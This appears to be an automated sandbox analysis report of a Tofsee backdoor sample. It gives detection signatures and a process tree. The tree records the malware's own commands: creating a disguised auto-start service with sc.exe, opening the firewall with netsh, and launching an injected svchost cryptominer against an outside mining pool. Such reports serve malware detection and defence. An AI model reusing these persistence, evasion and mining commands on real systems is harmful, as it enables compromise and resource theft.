Overview

overview

10

Static

static

e7fd571eec...db.exe

windows7_x64

10

e7fd571eec...db.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    08/11/2020, 17:44

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General

  • Target
    e7fd571eecc11677d75fac661dc0fb92bf69c39c7cf2113f344830af2ed06edb.exe
  • Size 10.4MB
  • Sample201108-fpsbe4ze96
  • SHA256 e7fd571eecc11677d75fac661dc0fb92bf69c39c7cf2113f344830af2ed06edb
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e7fd571eecc11677d75fac661dc0fb92bf69c39c7cf2113f344830af2ed06edb.exe
    "C:\Users\Admin\AppData\Local\Temp\e7fd571eecc11677d75fac661dc0fb92bf69c39c7cf2113f344830af2ed06edb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aasoddsu\
      2⤵
        PID:1736
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wqqhsbsu.exe" C:\Windows\SysWOW64\aasoddsu\
        2⤵
          PID:1392
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aasoddsu binPath= "C:\Windows\SysWOW64\aasoddsu\wqqhsbsu.exe /d\"C:\Users\Admin\AppData\Local\Temp\e7fd571eecc11677d75fac661dc0fb92bf69c39c7cf2113f344830af2ed06edb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1584
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description aasoddsu "wifi internet conection"
            2⤵
              PID:1036
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start aasoddsu
              2⤵
                PID:296
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1816
            • C:\Windows\SysWOW64\aasoddsu\wqqhsbsu.exe
              C:\Windows\SysWOW64\aasoddsu\wqqhsbsu.exe /d"C:\Users\Admin\AppData\Local\Temp\e7fd571eecc11677d75fac661dc0fb92bf69c39c7cf2113f344830af2ed06edb.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:992
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:632
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1620

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/632-30-0x00000000001A0000-0x00000000001A7000-memory.dmp
                  Download

                  memory/632-29-0x0000000005910000-0x0000000005D1B000-memory.dmp
                  Download

                  memory/632-28-0x0000000000190000-0x0000000000195000-memory.dmp
                  Download

                  memory/632-27-0x0000000000180000-0x0000000000190000-memory.dmp
                  Download

                  memory/632-26-0x0000000000130000-0x0000000000136000-memory.dmp
                  Download

                  memory/632-25-0x0000000001CD0000-0x0000000001EDF000-memory.dmp
                  Download

                  memory/632-22-0x0000000000080000-0x0000000000095000-memory.dmp
                  Download

                  memory/992-21-0x0000000000B80000-0x0000000000B91000-memory.dmp
                  Download

                  memory/992-20-0x000000000061B000-0x000000000061C000-memory.dmp
                  Download

                  memory/1620-32-0x0000000000190000-0x0000000000281000-memory.dmp
                  Download

                  memory/1620-31-0x0000000000190000-0x0000000000281000-memory.dmp
                  Download

                  memory/1688-1-0x0000000001F00000-0x0000000001F11000-memory.dmp
                  Download